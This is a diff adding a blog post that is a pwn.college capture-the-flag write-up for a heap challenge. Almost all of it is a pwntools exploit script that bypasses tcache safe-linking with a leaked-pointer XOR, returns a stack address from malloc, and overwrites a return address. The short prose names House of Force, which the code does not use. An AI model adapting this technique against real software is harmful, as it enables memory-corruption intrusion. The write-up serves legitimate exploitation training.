File tree Expand file tree Collapse file tree 1 file changed +90
-0
lines changed
Expand file tree Collapse file tree 1 file changed +90
-0
lines changed Original file line number Diff line number Diff line change 1+ ---
2+ layout : post
3+ title : (Dynamic Allocator Misuse) level 17
4+ categories : pwn.college Dynamic-Allocator-Misuse
5+ date : 2025-10-13 08:10:27 +0300
6+ tags : pwn.college PIE ASLR heap house-of-force tecache metadata house-of-spirit safe-linking
7+ ---
8+ ## Information
9+ - category: pwn
10+
11+
12+ ## Description
13+ > Revisit a prior challenge, now with TCACHE safe-linking.
14+
15+ ## Write-up
16+ House of Force to pivot ` malloc ` into the stack, and a compact XOR-index → stack pivot trick. Each section is a minimal.
17+
18+ ## Exploit
19+ ``` python
20+ from pwn import *
21+
22+ elf = context.binary = ELF(" /challenge/babyheap_level17.1" )
23+ global p
24+ p = elf.process()
25+
26+ def malloc (idx ,size ):
27+ p.sendline(b " malloc" )
28+ p.sendline(idx)
29+ p.sendline(size)
30+
31+ def free (idx ):
32+ p.sendline(b " free" )
33+ p.sendline(idx)
34+
35+ def scanf (idx ,data ):
36+ p.sendline(b " scanf" )
37+ p.sendline(idx)
38+ p.sendline(data)
39+
40+ def puts (idx ):
41+ p.sendline(b " puts" )
42+ p.sendline(idx)
43+
44+ def quit ():
45+ p.sendline(b " quit" )
46+
47+ def exploit ():
48+ p.recvuntil(b " of your allocations is at: " )
49+ stack = int (p.recvline().strip().split(b " ." )[0 ],16 )
50+ log.success(f " stack: { hex (stack)} " )
51+
52+ p.recvuntil(b " main is at: " )
53+ main = int (p.recvline().strip().split(b " ." )[0 ],16 )
54+ log.success(f " main: { hex (main)} " )
55+
56+ malloc(b " 0" ,b " 0" )
57+ malloc(b " 1" ,b " 0" )
58+
59+ free(b " 1" )
60+ free(b " 0" )
61+
62+ puts(b " 1" )
63+
64+ p.recvuntil(b " Data: " )
65+ pos = u64(p.recvline().strip().ljust(8 ,b " \x00 " ))
66+ log.success(f " pos: { hex (pos)} " )
67+
68+ puts(b " 0" )
69+
70+ mangled_ret = pos ^ stack
71+
72+ scanf(b " 0" ,flat(mangled_ret))
73+
74+ malloc(b " 0" ,b " 0" )
75+ malloc(b " 0" ,b " 0" )
76+
77+ scanf(b " 0" ,p64(stack) + p64(stack + 296 ))
78+
79+ scanf(b " 1" ,p64(main - 0x 151b + 0x 1400 ))
80+
81+ quit ()
82+
83+ p.interactive()
84+
85+ def main ():
86+ exploit()
87+
88+ if __name__ == " __main__" :
89+ main()
90+ ```
You can’t perform that action at this time.
0 commit comments